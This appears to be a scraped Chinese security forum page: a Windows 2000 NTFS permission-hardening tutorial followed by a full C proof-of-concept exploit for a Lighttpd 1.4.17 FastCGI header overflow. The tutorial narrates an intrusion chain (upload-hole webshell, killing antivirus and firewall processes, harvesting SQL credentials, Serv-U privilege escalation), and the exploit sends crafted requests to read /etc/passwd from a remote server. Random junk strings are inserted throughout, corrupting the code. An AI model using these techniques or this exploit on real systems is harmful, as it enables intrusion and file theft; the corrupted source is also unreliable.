Guests:来宾组,按默认值,来宾跟普通Users的成员有同等访问权,但来宾帐户的限制更多。    Everyone:顾名思义,所有的用户,这个计算机上的所有用户都属于这个组。    其实还有一个组也很常见,它拥有和Administrators一样、甚至比其还高的权限,但是这个组不允许任何用户的加入,在察看用户组的时候,它也不会被显示出来,它就是SYSTEM组。系统和系统级的服务正常运行所需要的权限都是靠它赋予的。由于该组只有这一个用户SYSTEM,也许把该组归为用户的行列更为贴切。    权限是有高低之分的,有高权限的用户可以对低权限的用户进行操作,但除了Administrators之外,其他组的用户不能访问 NTFS 卷上的其他用户资料,除非他们获得了这些用户的授权。而低权限的用户无法对高权限的用户进行任何操作。    我们平常使用计算机的过程当中不会感觉到有权限在阻挠你去做某件事情,这是因为我们在使用计算机的时候都用的是Administrators中的用户登陆的。这样有利也有弊,利当然是你能去做你想做的任何一件事情而不会遇到权限的限制。弊就是以 Administrators 组成员的身份运行计算机将使系统容易受到特洛伊木马、病毒及其他安全风险的威胁。访问 Internet 站点或打开电子邮件附件的简单行动都可能破坏系统。不熟悉的 Internet 站点或电子邮件附件可能有特洛伊木马代码,这些代码可以下载到系统并被执行。如果以本地计算机的管理员身份登录,特洛伊木马可能使用管理访问权重新格式化您的硬盘,造成不可估量的损失,所以在没有必要的情况下,最好不用Administrators中的用户登陆。Administrators中有一个在系统安装时就创建的默认用户----Administrator,Administrator 帐户具有对服务器的完全控制权限,并可以根据需要向用户指派用户权利和访问控制权限。因此强烈建议将此帐户设置为使用强密码。永远也不可以从 Administrators 组删除 Administrator 帐户,但可以重命名或禁用该帐户。由于大家都知道“管理员”存在于许多版本的 Windows 上,所以重命名或禁用此帐户将使恶意用户尝试并访问该帐户变得更为困难。对于一个好的服务器管理员来说,他们通常都会重命名或禁用此帐户。Guests用户组下,也有一个默认用户----Guest,但是在默认情况下,它是被禁用的。如果没有特别必要,无须启用此账户。我们可以通过“控制面板”--“管理工具”--“计算机管理”--“用户和用户组”来查看用户组及该组下的用户。    我们用鼠标右键单击一个NTFS卷或NTFS卷下的一个目录,选择“属性”--“安全”就可以对一个卷,或者一个卷下面的目录进行权限设置,此时我们会看到以下七种权限:完全控制、修改、读取和运行、列出文件夹目录、读取、写入、和特别的权限。“完全控制”就是对此卷或目录拥有不受限制的完全访问。地位就像Administrators在所有组中的地位一样。选中了“完全控制”,下面的五项属性将被自动被选中。“修改”则像Power users,选中了“修改”,下面的四项属性将被自动被选中。下面的任何一项没有被选中时,“修改”条件将不再成立。“读取和运行”就是允许读取和运行在这个卷或目录下的任何文件,“列出文件夹目录”和“读取”是“读取和运行”的必要条件。“列出文件夹目录”是指只能浏览该卷或目录下的子目录,不能读取,也不能运行。“读取”是能够读取该卷或目录下的数据。“写入”就是能往该卷或目录下写入数据。而“特别”则是对以上的六种权限进行了细分。读者可以自行对“特别”进行更深的研究,鄙人在此就不过多赘述了。    下面我们对一台刚刚安装好操作系统和服务软件的WEB服务器系统和其权限进行全面的刨析。服务器采用Windows 2000 Server版,安装好了SP4及各种补丁。WEB服务软件则是用了Windows 2000自带的IIS 5.0,删除了一切不必要的映射。整个硬盘分为四个NTFS卷,C盘为系统卷,只安装了系统和驱动程序;D盘为软件卷,该服务器上所有安装的软件都在D盘中;E盘是WEB程序卷,网站程序都在该卷下的WWW目录中;F盘是网站数据卷,网站系统调用的所有数据都存放在该卷的WWWDATABASE目录下。这样的分类还算是比较符合一台安全服务器的标准了。希望各个新手管理员能合理给你的服务器数据进行分类,这样不光是查找起来方便,更重要的是这样大大的增强了服务器的安全性,因为我们可以根据需要给每个卷或者每个目录都设置不同的权限,一旦发生了网络安全事故,也可以把损失降到最低。当然,也可以把网站的数据分布在不同的服务器上,使之成为一个服务器群,每个服务器都拥有不同的用户名和密码并提供不同的服务,这样做的安全性更高。不过愿意这样做的人都有一个特点----有钱:)。好了,言归正传,该服务器的数据库为MS-SQL,MS-SQL的服务软件SQL2000安装在d:ms-sqlserver2K目录下,给SA账户设置好了足够强度的密码,安装好了SP3补丁。为了方便网页制作员对网页进行管理,该网站还开通了FTP服务,FTP服务软件使用的是SERV-U 5.1.0.0,安装在d:ftpserviceserv-u目录下。杀毒软件和防火墙用的分别是Norton Antivirus和BlackICE,路径分别为d:' t( Y# w& `) s( z) X2 U
ortonAV和d:firewalllackice,病毒库已经升级到最新,防火墙规则库定义只有80端口和21端口对外开放。网站的内容是采用动网7.0的论坛,网站程序在e:wwwbs下。细心的读者可能已经注意到了,安装这些服务软件的路径我都没有采用默认的路径或者是仅仅更改盘符的默认路径,这也是安全上的需要,因为一个黑客如果通过某些途径进入了你的服务器,但并没有获得管理员权限,他首先做的事情将是查看你开放了哪些服务以及安装了哪些软件,因为他需要通过这些来提升他的权限。一个难以猜解的路径加上好的权限设置将把他阻挡在外。相信经过这样配置的WEB服务器已经足够抵挡大部分学艺不精的黑客了。读者可能又会问了:“这根本没用到权限设置嘛!我把其他都安全工作都做好了,权限设置还有必要吗?”当然有!智者千虑还必有一失呢,就算你现在已经把系统安全做的完美无缺,你也要知道新的安全漏洞总是在被不断的发现。权限将是你的最后一道防线!那我们现在就来对这台没有经过任何权限设置,全部采用Windows默认权限的服务器进行一次模拟攻击,看看其是否真的固若金汤。        假设服务器外网域名为http://www.webserver.com,用扫描软件对其进行扫描后发现开放WWW和FTP服务,并发现其服务软件使用的是IIS 5.0和Serv-u 5.1,用一些针对他们的溢出工具后发现无效,遂放弃直接远程溢出的想法。打开网站页面,发现使用的是动网的论坛系统,于是在其域名后面加个/upfile.asp,发现有文件上传漏洞,便抓包,把修改过的ASP木马用NC提交,提示上传成功,成功得到WEBSHELL,打开刚刚上传的ASP木马,发现有MS-SQL、Norton Antivirus和BlackICE在运行,判断是防火墙上做了限制,把SQL服务端口屏蔽了。通过ASP木马查看到了Norton Antivirus和BlackICE的PID,又通过ASP木马上传了一个能杀掉进程的文件,运行后杀掉了Norton Antivirus和BlackICE。再扫描,发现1433端口开放了,到此,便有很多种途径获得管理员权限了,可以查看网站目录下的conn.asp得到SQL的用户名密码,再登陆进SQL执行添加用户,提管理员权限。也可以抓SERV-U下的ServUDaemon.ini修改后上传,得到系统管理员权限。还可以传本地溢出SERV-U的工具直接添加用户到Administrators等等。大家可以看到,一旦黑客找到了切入点,在没有权限限制的情况下,黑客将一帆风顺的取得管理员权限。        那我们现在就来看看Windows 2000的默认权限设置到底是怎样的。对于各个卷的根目录,默认给了Everyone组完全控制权。这意味着任何进入电脑的用户将不受限制的在这些根目录中为所欲为。系统卷下有三个目录比较特殊,系统默认给了他们有限制的权限,这三个目录是Documents and settings、Program files和Winnt。对于Documents and settings,默认的权限是这样分配的:Administrators拥有完全控制权;Everyone拥有读&amp;运,列和读权限;Power users拥有读&amp;运,列和读权限;SYSTEM同Administrators;Users拥有读&amp;运,列和读权限。对于Program files,Administrators拥有完全控制权;Creator owner拥有特殊权限;Power users有完全控制权;SYSTEM同Administrators;Terminal server users拥有完全控制权,Users有读&amp;运,列和读权限。对于Winnt,Administrators拥有完全控制权;Creator owner拥有特殊权限;Power users有完全控制权;SYSTEM同Administrators;Users有读&amp;运,列和读权限。而非系统卷下的所有目录都将继承其父目录的权限,也就是Everyone组完全控制权!   现在大家知道为什么我们刚刚在测试的时候能一帆风顺的取得管理员权限了吧?权限设置的太低了!一个人在访问网站的时候,将被自动赋予IUSR用户,它是隶属于Guest组的。本来权限不高,但是系统默认给的Everyone组完全控制权却让它“身价倍增”,到最后能得到Administrators了。那么,怎样设置权限给这台WEB服务器才算是安全的呢?大家要牢记一句话:“最少的服务+最小的权限=最大的安全”对于服务,不必要的话一定不要装,要知道服务的运行是SYSTEM级的哦,对于权限,本着够用就好的原则分配就是了。对于WEB服务器,就拿刚刚那台服务器来说,我是这样设置权限的,大家可以参考一下:各个卷的根目录、Documents and settings以及Program files,只给Administrator完全控制权,或者干脆直接把Program files给删除掉;给系统卷的根目录多加一个Everyone的读、写权;给e:www目录,也就是网站目录读、写权。最后,还要把cmd.exe这个文件给挖出来,只给Administrator完全控制权。经过这样的设置后,再想通过我刚刚的方法入侵这台服务器就是不可能完成的任务了。可能这时候又有读者会问:“为什么要给系统卷的根目录一个Everyone的读、写权?网站中的ASP文件运行不需要运行权限吗?”问的好,有深度。是这样的,系统卷如果不给Everyone的读、写权的话,启动计算机的时候,计算机会报错,而且会提示虚拟内存不足。当然这也有个前提----虚拟内存是分配在系统盘的,如果把虚拟内存分配在其他卷上,那你就要给那个卷Everyone的读、写权。ASP文件的运行方式是在服务器上执行,只把执行的结果传回最终用户的浏览器,这没错,但ASP文件不是系统意义上的可执行文件,它是由WEB服务的提供者----IIS来解释执行的,所以它的执行并不需要运行的权限。    经过上面的讲解以后,你一定对权限有了一个初步了了解了吧?想更深入的了解权限,那么权限的一些特性你就不能不知道了,权限是具有继承性、累加性 、优先性、交叉性的。        继承性是说下级的目录在没有经过重新设置之前,是拥有上一级目录权限设置的。这里还有一种情况要说明一下,在分区内复制目录或文件的时候,复制过去的目录和文件将拥有它现在所处位置的上一级目录权限设置。但在分区内移动目录或文件的时候,移动过去的目录和文件将拥有它原先的权限设置。        累加是说如一个组GROUP1中有两个用户USER1、USER2,他们同时对某文件或目录的访问权限分别为“读取”和“写入”,那么组GROUP1对该文件或目录的访问权限就为USER1和USER2的访问权限之和,实际上是取其最大的那个,即“读取”+“写入”=“写入”。 又如一个用户USER1同属于组GROUP1和GROUP2,而GROUP1对某一文件或目录的访问权限为“只读”型的,而GROUP2对这一文件或文件夹的访问权限为“完全控制”型的,则用户USER1对该文件或文件夹的访问权限为两个组权限累加所得,即:“只读”+“完全控制”=“完全控制”。         优先性,权限的这一特性又包含两种子特性,其一是文件的访问权限优先目录的权限,也就是说文件权限可以越过目录的权限,不顾上一级文件夹的设置。另一特性就是“拒绝”权限优先其它权限,也就是说“拒绝”权限可以越过其它所有其它权限,一旦选择了“拒绝”权限,则其它权限也就不能取任何作用,相当于没有设置。        交叉性是指当同一文件夹在为某一用户设置了共享权限的同时又为用户设置了该文件夹的访问权限,且所设权限不一致时,它的取舍原则是取两个权限的交集,也即最严格、最小的那种权限。如目录A为用户USER1设置的共享权限为“只读”,同时目录A为用户USER1设置的访问权限为“完全控制”,那用户USER1的最终访问权限为“只读”。权限设置的问题我就说到这了,在最后我还想给各位读者提醒一下,权限的设置必须在NTFS分区中才能实现的,FAT32是不支持权限设置的。同时还想给各位管理员们一些建议:1.养成良好的习惯,给服务器硬盘分区的时候分类明确些,在不使用服务器的时候将服务器锁定,经常更新各种补丁和升级杀毒软件。2.设置足够强度的密码,这是老生常谈了,但总有管理员设置弱密码甚至空密码。 3.尽量不要把各种软件安装在默认的路径下4.在英文水平不是问题的情况下,尽量安装英文版操作系统。 5.切忌在服务器上乱装软件或不必要的服务。6.牢记:没有永远安全的系统,经常更新你的知识。 / ]9 x" E+ X* p& a- ?1 m  s
- p" F( H* n6 F

' F, W+ f- \/ Z1 f" C$ t3 K' h* z! {* h9 u7 @; F" ^3 O

5 N/ e3 u) {4 B$ j% I( u
# ~+ J. e3 j6 x1 K& D- [5 m# K. T0 ]* T4 K4 k* M# h

/ C7 Z6 \  ^) e, q- _6 X  n) h! q, I  w  J5 t

6 O! u. R+ x' U* P% M
/ n+ g: L1 q% z0 ~8 B% M- s3 q9 H, c1 r  l% r% g
& u) R% e8 N; a! Z5 ^+ y7 ?+ k  D# S

& a9 H4 @4 r/ n, t7 h2 Z) G
- d6 {  A. Q, E, Z/ q# j9 u7 V  A- V- g6 F3 S
& d* A& K# v  C% N  l' B2 ]4 K
) r4 r& s- @9 v: {: f8 |

1 ~1 ?8 ~5 C4 h: Y, v3 O9 J1 _. O$ Y公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

Lighttpd 1.4.17 FastCGI 头文件远程溢出漏洞
/************************************************************ hoagie_lighttpd.c* LIGHTTPD/FASTCGI REMOTE EXPLOIT (<= 1.4.17)** Bug discovered by:* Mattias Bengtsson <mattias@secweb.se>* Philip Olausson <po@secweb.se>* http://www.secweb.se/en/advisories/lighttpd-fastcgi-remote-vulnerability/** FastCGI:* http://www.fastcgi.com/devkit/doc/fcgi-spec.html** THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY* DAMAGE DONE USING THIS PROGRAM.** VOID.AT Security* andi@void.at* http://www.void.at*************************************************************/#include <stdio.h>#include <unistd.h>#include <stdlib.h>#include <string.h>#include <netdb.h>#include <time.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>/* don't change this values except you know exactly what you are doing */#define REQUEST_SIZE_BASE     0x1530achar FILL_CHAR[] = "void";char RANDOM_CHAR[] = "01234567890"                     "abcdefghijklmnopqrstuvwxyz"                     "ABCDEFGHIJKLMNOPQRSTUVWXYZ";/* just default values */#define DEFAULT_SCRIPT        "/index.php"   /* can be changed via -s */#define DEFAULT_PORT          "80"           /* can be changed via -p */#define DEFAULT_NAME          "SCRIPT_FILENAME" /* can be changed via -n */#define DEFAULT_VALUE         "/etc/passwd"  /* can be change via -a */#define DEFAULT_SEPARATOR     ','#define BUFFER_SIZE           1024/* header data type* defining header name/value content and length* if a fixed value is set use this one instead of generating content*/struct header_t {   int  name_length;   char name_char;   int  value_length;   char value_char;   char *value_value;};/* generate_param* generate character array (input: comma separated list)*/char *generate_param(int *param_size_out,                     char **name,                     char **value) {   char *param = NULL;   int  param_size = 0;   int  param_offset = 0;   int  i;   int  name_length = 0;   int  value_length = 0;   for (i = 0; name != NULL &amp;&amp; value != NULL; i++) {      name_length = strlen(name);      value_length = strlen(value);      if (name_length > 127) {         param_size += 4;      } else {         param_size++;      }      if (value_length > 127) {         param_size += 4;      } else {         param_size++;      }      param_size += strlen(name) + strlen(value);      param = realloc(param, param_size);      if (param) {         if (strlen(name) > 127) {            param[param_offset++] = (name_length >> 24) | 0x80;            param[param_offset++] = (name_length >> 16) &amp; 0xff;            param[param_offset++] = (name_length >> 8) &amp; 0xff;            param[param_offset++] = name_length &amp; 0xff;         } else {            param[param_offset++] = name_length;         }         if (strlen(value) > 127) {            param[param_offset++] = (value_length >> 24) | 0x80;            param[param_offset++] = (value_length >> 16) &amp; 0xff;            param[param_offset++] = (value_length >> 8) &amp; 0xff;            param[param_offset++] = value_length &amp; 0xff;         } else {            param[param_offset++] = value_length;         }         memcpy(param + param_offset, name, name_length);         param_offset += name_length;         memcpy(param + param_offset, value, value_length);         param_offset += value_length;      }   }   if (param) {      *param_size_out = param_size;   }   return param;}/* generate_buffer* generate header name or value buffer*/char *generate_buffer(int length, char c, int random_mode) {   char *buffer = (char*)malloc(length + 1);   int i;   if (buffer) {      memset(buffer, 0, length + 1);      if (random_mode) {         for (i = 0; i < length; i++) {            buffer = RANDOM_CHAR[rand() % (strlen(RANDOM_CHAR))];         }      } else {         memset(buffer, c, length);      }   }   return buffer;}/* generate_array* generate character array (input: comma separated list)*/char **generate_array(char *list, char separator, int *length) {   char **data = NULL;   int i = 0;   int start = 0;   int j = 1;   if (list) {      for (i = 0; i <= strlen(list); i++) {         if (list == separator ||             i == strlen(list)) {            data = realloc(data, (j + 1) * (sizeof(char*)));            if (data) {               data[j - 1] = malloc(i - start + 1);               if (data[j - 1]) {                  strncpy(data[j - 1], list + start, i - start);                  data[j - 1][i - start + 1] = 0;               }               data[j] = NULL;            }            start = i + 1;            j++;         }      }      *length = j;   }   return data;}/* generate_request* generate http request to trigger the overflow in fastcgi module* and overwrite fcgi param data with post content*/char *generate_request(char *server, char *port,                       char *script, char **names,                       char **values, int *length_out,                       int random_mode) {   char *param;   int  param_size;   char *request;   int  offset;   int  length;   int  i;   int  fillup;   char *name;   char *value;   /* array of header data that is used to create header name and value lines     * most of this values can be changed -> only length is important and a    * few characters */   struct header_t header[] = {      { 0x01, '0', 0x04, FILL_CHAR[0], NULL },      { FILL_CHAR[0] - 0x5 - 0x2, 'B', FILL_CHAR[0] - 0x2, 'B', NULL },      { 0x01, '1', 0x5450 - ( (FILL_CHAR[0] + 0x1) *  2) - 0x1 - 0x5 - 0x1 - 0x4, 'C', NULL },      { 0x01, '2', '_' - 0x1 - 0x5 - 0x1 - 0x1, 'D',  NULL },      { 0x01, '3', 0x04, FILL_CHAR[1], NULL },      { FILL_CHAR[1] - 0x5 - 0x2, 'F', FILL_CHAR[1] - 0x2, 'F', NULL },      { 0x01, '4', 0x5450 - ( (FILL_CHAR[1] + 0x1) *  2) - 0x1 - 0x5 - 0x1 - 0x4, 'H', NULL },      { 0x01, '5', '_' - 0x1 - 0x5 - 0x1 - 0x1, 'I',  NULL },      { 0x01, '6', 0x04, FILL_CHAR[2], NULL },      { FILL_CHAR[2] - 0x5 - 0x2, 'K', FILL_CHAR[2] - 0x2, 'K',  NULL },      { 0x01, '7', 0x5450 - ( (FILL_CHAR[2] +  0x1) *  2) - 0x1 - 0x5 - 0x1 - 0x4, 'L', NULL },      { 0x01, '8', '_' - 0x1 - 0x5 - 0x1 - 0x1, 'M', NULL },      { 0x01, '9', 0, 0, "uvzz" },      { FILL_CHAR[3] - 0x5 - 0x2, 'O', FILL_CHAR[3] - 0x2, 'O',  NULL },      { 0x01, 'z', 0x1cf - ((FILL_CHAR[3]- 0x1 ) * 2) -0x1 - 0x5 - 0x1 - 0x4, 'z',  NULL },      { 0x00, 0x00, 0x00, 0x00, NULL }   };   /* fill rest of post content with data */   char content_part_one[] = {      0x06, 0x80, 0x00, 0x00, 0x00, 'H', 'T', 'T', 'P', '_', 'W'    };   /* set a fake FastCGI record to mark the end of data */   char content_part_two[] = {      0x01, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00    };   param = generate_param(&amp;param_size, names, values);   if (param &amp;&amp; param_size > 0) {      fillup = 0x54af - 0x5f - 0x1e3 - param_size - 0x1 - 0x5 - 0x1 - 0x4;      length = REQUEST_SIZE_BASE + param_size +               strlen(server) + strlen(port) +               strlen(script);      request = (char*)malloc(length);      if (request) {         memset(request, 0, length);         offset = sprintf(request,                          "POST %s HTTP/1.1, R' P6 r. L9 c
"                          "Host: %s:%s1 l8 r$ D% }% P
"                          "Connection: close
8 D- L2 g, d4 X4 s% g. x; c"                          "Content-Length: %d
. a, i' i9 U* v4 H' |"                          "Content-Type: application/x-www-form-urlencoded" W; h  K1 g+ U2 Y2 s. g8 |  h
",                          script,                          server, port,                          fillup + param_size + sizeof(content_part_one) +                          sizeof(content_part_two) + 0x5f);         for (i = 0; header.name_length != 0; i++) {            name = generate_buffer(header.name_length,                                   header.name_char,                                   header.name_length != 1 ? random_mode : 0);            if (header.value_value) {               value = header.value_value;            } else {               value = generate_buffer(header.value_length,                                       header.value_char,                                       header.value_length != 4 &amp;&amp;                                       header.value_char != 'z' ? random_mode : 0);            }            offset += sprintf(request + offset,                              "%s: %s
& v$ F5 R. q  U0 V  z", name, value);            if (!header.value_value) {               free(value);            }            free(name);         }         offset += sprintf(request + offset, "
9 D* }: r* u2 {0 h( f8 E: d");         memcpy(request + offset, param, param_size);         offset += param_size;         content_part_one[0x03] = (fillup >> 8) &amp; 0xff;         content_part_one[0x04] = fillup &amp; 0xff;         for (i = 0; i < sizeof(content_part_one); i++) {            request[offset++] = content_part_one;         }         for (i = 0; i < fillup + 0x5f; i++) {            request[offset++] = random_mode ? RANDOM_CHAR[rand() % (strlen(RANDOM_CHAR))] : 'W';         }         for (i = 0; i < sizeof(content_part_two); i++) {            request[offset++] = content_part_two;         }         *length_out = offset;      }   }   return request;}/* usage* display help screen*/void usage(int argc, char **argv) {   fprintf(stderr,           "usage: %s [-h] [-v] [-r] [-d <host>] [-s <script>] [-p <port>]: }: j3 R2 |9 ]. Z' ]
"           "       [-n <header names>] [-a <header values>] [-o <output>]
+ Q0 x! c3 W8 b"           "; M( b& Q( X& T% I: {) j# k" n
"           "-h        help
/ e3 r& G* N1 U- t1 U* ]$ p+ }* l"           "-v        verbose3 _& P) |8 l9 `1 S- o
"           "-r        enable random mode- }6 g# B. \7 S) K' ?8 l$ K
"           "-d host   HTTP server0 v5 i* K' U6 H/ a9 N, C% C
"           "-p port   HTTP port (default: %s)
  C. |; P* z. M% ]& S' d"           "-s script script url on remote server (default: %s)$ K( \' A" I# v. b( x
"           "-n value  header names (comma seperated, default: %s)
: ~" y) s* ^! G" _"           "-a value  header values (comma seperated, default: %s)! |9 R6 }5 r8 ]$ m* M/ t1 \3 B
"           "-o output save result in output file
" [3 `& D! n7 _) e6 G1 v"           "3 Q+ \; S0 ]8 L% L" o% n
"           ,           argv[0],           DEFAULT_PORT,           DEFAULT_SCRIPT,           DEFAULT_NAME,           DEFAULT_VALUE);   exit(1);           }/* connect_to* connect to remote http server*/int connect_to(char *host, int port) {   struct sockaddr_in s_in;   struct hostent *he;   int s;   if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {      return -1;   }   memset(&amp;s_in, 0, sizeof(s_in));   s_in.sin_family = AF_INET;   s_in.sin_port = htons(port);   if ( (he = gethostbyname(host)) != NULL)       memcpy(&amp;s_in.sin_addr, he->h_addr, he->h_length);   else {       if ( (s_in.sin_addr.s_addr = inet_addr(host) ) < 0) {          return -3;       }   }     if (connect(s, (struct sockaddr *)&amp;s_in, sizeof(s_in)) == -1) {      return -4;   }   return s;}/* parse_response* parse response data from http server*/void parse_response(char *response, int response_length, char *output) {   char *p;   int http_code;   int header_mode = 1;   int size;   int bytes = 0;   FILE *fp = stdout;   p = strtok(response, "
6 N9 z! r9 j0 `, P$ _");   while (p) {      /* header mode active? */      if (header_mode) {         if (strstr(p, "HTTP/1.1 ") == p) {            sscanf(p, "HTTP/1.1 %d", &amp;http_code);            if (http_code == 200) {               printf("
  • request successful( `0 q+ z/ x+ i7 ?! ?& T( x
    ");            } else {               printf("
  • request failed (error code: %d)
    . l- v+ [: F1 \5 `- ~( o' F) W", http_code);            }         } else if (strstr(p, "Server: ") == p) {            printf("
  • server version: %s0 F2 n9 `: X8 ]" x6 o! P! q
    ", strstr(p, "Server: ") + 8);         /* content length for first content */         } else if (!strchr(p, ':') &amp;&amp; http_code == 200) {            sscanf(p, "%x", &amp;size);            header_mode = 0;            if (output) {               fp = fopen(output, "w");            }         }      } else {         if (bytes < size) {            fprintf(fp, "%s
    " w; N. k- _5 N7 S5 u" C", p);            bytes += strlen(p) + 1;         }      }      p = strtok(NULL, "
    9 c1 F6 N) Z) h  h  {9 ^* j& U");   }   if (fp != stdout &amp;&amp; fp != NULL) {      printf("
  • %d bytes written to %s
    ' v8 U( D- K1 ?- P& g", bytes, output);      fclose(fp);   }}/* main entry*/int main(int argc, char **argv) {   char *server = NULL;   char *port = DEFAULT_PORT;   char *script = DEFAULT_SCRIPT;   char **name = NULL;   int name_length = 0;   char **value = NULL;   int value_length = 0;   char *request = NULL;   int request_length = 0;   int i;   int random_mode = 0;   int verbose = 0;   int s;   char c;   fd_set fs;   int bytes;   char buffer[BUFFER_SIZE];   char *response = NULL;   int response_length = 0;   char *output = NULL;   fprintf(stderr,           "hoagie_lighttpd.c - lighttpd(fastcgi) <= 1.4.17 remote
    , \) G& R! ^# y7 c"           "-andi / void.at
    * o4 d" q! Q& H. s9 N+ ?
    - b. b; j- d1 m");   if (argc < 2) {      usage(argc, argv);   } else {      while ((c = getopt (argc, argv, "hvrd:p:s:u:n:a:o:")) != EOF) {         switch (c) {            case 'h':                 usage(argc, argv);                 break;            case 'd':                 server = optarg;                 break;            case 'p':                 port = optarg;                 break;            case 's':                 script = optarg;                 break;            case 'n':                 name = generate_array(optarg, DEFAULT_SEPARATOR, &amp;name_length);                 break;            case 'a':                 value = generate_array(optarg, DEFAULT_SEPARATOR, &amp;value_length);                 break;            case 'r':                 random_mode = 1;                 srand(time(NULL));                 break;            case 'v':                 verbose = 1;                 break;            case 'o':                 output = optarg;                 break;            default:                 fprintf(stderr, "
  • unknown command line option '%c'. o- x  ^- v( F" A* S* S
    ", c);                 exit(-1);         }      }      if (!name) {         name = generate_array(DEFAULT_NAME, DEFAULT_SEPARATOR, &amp;name_length);      }      if (!value) {         value = generate_array(DEFAULT_VALUE, DEFAULT_SEPARATOR, &amp;value_length);      }      if (name_length != value_length) {         fprintf(stderr,                 "
  • check -n and -n parameter (argument list doesnt match)
    2 L; h$ b0 u' \");      } else if (!server) {         fprintf(stderr, "
  • server is missing4 H1 t/ W: h. [9 _7 {6 D
    ");      } else {         if (random_mode) {            for (i = 0; i < 4; i++) {               FILL_CHAR = RANDOM_CHAR[rand() % (strlen(RANDOM_CHAR))];            }         }         printf("
  • creating request (filler: %c/%c/%c/%c, random: %s)
    8 X4 U9 Q, Y# \' N2 |: n  y",                FILL_CHAR[0], FILL_CHAR[1], FILL_CHAR[2], FILL_CHAR[3],                random_mode ? "on": "off");         for (i = 0; name; i++) {            printf("
  • set header [%s]=>[%s]
    9 K' V, ?" X0 H! \' k", name, value);         }         request = generate_request(server, port, script, name, value,                                    &amp;request_length, random_mode);         if (verbose) {            printf("
  • sending [");            write(1, request, request_length);            printf("]8 m" U3 K* D! o# t6 N
    ");         }          if (request) {            printf("
  • connecting to %s:%s ...+ r! a! q4 c( o' g; [, s! Z
    ", server, port);            s = connect_to(server, atoi(port));            if (s > 0) {               FD_ZERO(&amp;fs);               FD_SET(s, &amp;fs);               printf("
  • request url %s
    * d( @) ~1 n" P% [", script);               write(s, request, request_length);               do {                  select(s + 1, &amp;fs, NULL, NULL, NULL);                  bytes = read(s, buffer, sizeof(buffer));                  if (bytes > 0) {                     response_length += bytes;                     response = realloc(response, response_length + 1);                     if (response) {                        memcpy(response + response_length - bytes,                               buffer,                               bytes);                     }                  }               } while (bytes > 0);               close(s);               response[response_length] = 0;               parse_response(response, response_length, output);            } else {               fprintf(stderr, "
  • connect failed
    ' @1 \; Z/ Z8 I$ X$ n");            }            free(request);         } else {            fprintf(stderr, "
  • can't allocate memory for request9 Y2 s* [7 c  Y0 [* \' b: @( a
    ");         }      }      for (i = 0; name; i++) {         free(name);      }      free(name);      for (i = 0; value; i++) {         free(value);      }      free(value);   }   return 0;}
    0 ]# @( y% i* M/ g6 w( X9 e, y- M3 S- y( q
    9 q* t, _4 |! ]" `. |$ u# Q$ s

    * e7 U) c. a; Y/ u1 `# e& x8 s" W; H% ?' j
    + v0 L- z7 Q& D% n# w% b/ n

    ; Q* ]2 R5 z4 }8 O- Z# D# x' r2 W

    1 l3 ^$ n2 Y1 A% W; X/ z# `  D. O( \; K2 \0 H! j

    ! J9 T4 R. j7 ^! A* F
    + n: C) n# n: d! p: m9 S- D" u% Q# N  r; g- Q
    + g  `0 k4 _# D1 _
    ! y0 E5 E$ A8 t: N  T- U( I, `
    / L* k+ _6 N6 A, d1 R2 `
    ' x( J; `: {; m1 i/ M7 Y/ K
    5 O+ W' Z0 M+ b4 Y: `0 P  _

      x2 f* h3 O3 J* V+ Q+ T8 [9 T" n公告:https://www.sitedirsec.com公布最新漏洞,请关注
  • TOP

    返回列表